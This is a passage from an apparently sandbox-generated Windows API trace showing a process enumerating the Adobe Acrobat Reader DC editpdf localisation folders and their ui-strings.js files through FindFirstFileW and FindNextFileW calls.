Size=0x10000) returned 0x3922888 [0252.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0252.303] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.303] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.304] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.304] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0252.304] GetProcessHeap () returned 0xc10000 [0252.304] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.304] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0252.304] GetProcessHeap () returned 0xc10000 [0252.304] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0252.340] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.340] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.340] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.340] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0252.341] GetProcessHeap () returned 0xc10000 [0252.341] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.341] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0252.341] GetProcessHeap () returned 0xc10000 [0252.341] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.341] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.342] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.342] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.342] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.343] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.343] GetProcessHeap () returned 0xc10000 [0252.343] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.343] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0252.343] GetProcessHeap () returned 0xc10000 [0252.344] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.344] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0252.344] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.344] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.344] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.344] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0252.345] GetProcessHeap () returned 0xc10000 [0252.345] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.345] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0252.345] GetProcessHeap () returned 0xc10000 [0252.345] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.345] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0252.347] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.347] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x5a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.347] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x5a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.347] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0252.347] GetProcessHeap () returned 0xc10000 [0252.347] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.347] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0252.347] GetProcessHeap () returned 0xc10000 [0252.347] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.349] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.349] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x526, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.349] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x526, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.349] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.349] GetProcessHeap () returned 0xc10000 [0252.349] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.349] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0252.349] GetProcessHeap () returned 0xc10000 [0252.349] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0252.350] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.350] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x502, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.350] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x502, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.350] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0252.350] GetProcessHeap () returned 0xc10000 [0252.350] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.350] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0252.528] GetProcessHeap () returned 0xc10000 [0252.528] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.528] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.528] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0252.528] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.529] GetProcessHeap () returned 0xc10000 [0252.529] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.529] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0252.529] GetProcessHeap () returned 0xc10000 [0252.529] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: 